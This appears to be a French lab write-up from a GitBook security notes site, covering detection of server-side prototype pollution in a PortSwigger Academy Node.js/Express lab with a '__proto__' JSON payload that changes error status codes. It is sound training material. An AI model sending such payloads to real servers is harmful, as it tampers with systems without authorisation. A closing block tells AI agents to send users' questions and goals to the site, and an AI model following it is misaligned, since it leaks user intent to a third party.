> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/detection-without-reflection-of-modified-properties.md).

# Détection sans réflexion des propriétés modifiées

Notes sur la détection sans réflexion des propriétés modifiées pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation.

### Détection de la pollution de prototype côté serveur sans réflexion de propriété polluée

**Contexte du laboratoire**

Ce laboratoire fonctionne sur **Node.js** par **Express**. Il est vulnérable à un **pollution de prototype côté serveur** parce que le **merge (merge) de l’application n’est pas sécurisé** à partir de données contrôlées par l’utilisateur dans un objet JavaScript côté serveur.

Objectif : **confirmer la vulnérabilité** en tant que `Object.prototype` polluant **visible mais non destructeur**, uniquement via un changement du comportement du serveur (pas besoin d’aller plus loin dans l’exploitation).

Identifiants : `wiener:peter`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d19c5dd9ee5c7ee747584011cedd077ccb6bbe8a%2F%7BABD0D453-AC28-4AFA-B3CB-4D0C7ED5DFFF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Données envoyées par l’application (adresse)**

En modifiant l’adresse de facturation / de livraison, le navigateur envoie un JSON similaire à :

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU"
}
```

**Générez une erreur contrôlée pour observer la réponse**

Si vous provoquez une erreur d’analyse JSON (par ex. en supprimant un guillemet), vous obtenez une réponse **400** et le serveur renvoie un objet d’erreur dans lequel le `body` contient notre charge utile (réflexion) :

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU
}
```

Réponse typique :

```json
{
  "error": {
    "expose": true,
    "statusCode": 400,
    "status": 400,
    "body": "{/"address_line_1/":/"Wiener HQ/",/"address_line_2/":/"One Wiener Way/",/"city/":/"Wienerville/",/"postcode/":/"BU1 1RP/",/"country/":/"UK/",/"sessionId/":/"P72CQIVn4eYngmsyw4efwGYTXt3RSMrU/r/n}",
    "type": "entity.parse.failed"
  }
}
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2de4ffb19108aa5a5c4fdbd9b0b8749195970b11%2F%7BCF101AA8-E666-445D-B493-7B4614A6DB72%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Idée : preuve de pollution sans réflexion directe**

Plutôt que d’attendre qu’une propriété polluée soit renvoyée dans le body, on peut viser un **changement de comportement mesurable**, par ex. le \*\*code HTTP\*\* renvoyé lors d’une erreur.

Ici, le serveur utilise (ou propage) des champs comme `status` / `statusCode`. Si nous parvenons à polluer `Object.prototype.status`, alors lors d’erreurs futures, Express (ou le gestionnaire d’erreur) peut récupérer cette valeur via l’héritage de prototype → le serveur renverra un différent **status**.

**Tentative de pollution via `__proto__`**

Un `__proto__` la clé est injectée dans le JSON (dans une requête JSON valide, et non dans une requête cassée), par exemple :

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "P72CQIVn4eYngmsyw4efwGYTXt3RSMrU,
  "__proto__": {
    "status": 405
    }
}
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13142ee16a2b83071ec1e17de55db67d5a117341%2F%7B0E3ADAC1-446F-4697-8F06-447A7EF39BF0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Effet attendu : après cette pollution, **toute erreur** (par ex. une erreur volontaire d’analyse JSON) peut désormais répondre avec **405 au lieu de 400**, parce que `status` est hérité de `Object.prototype`.

**Résultat / validation**

* Avant pollution : erreurs → `400`
* Après pollution : erreurs → `405` (ou tout autre code choisi)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8502a11bc755a8ff5b77addcdbe4a8d4883a5a6%2F%7B880D560F-8BA7-437B-AE97-36FDD182BA6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/detection-without-reflection-of-modified-properties.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
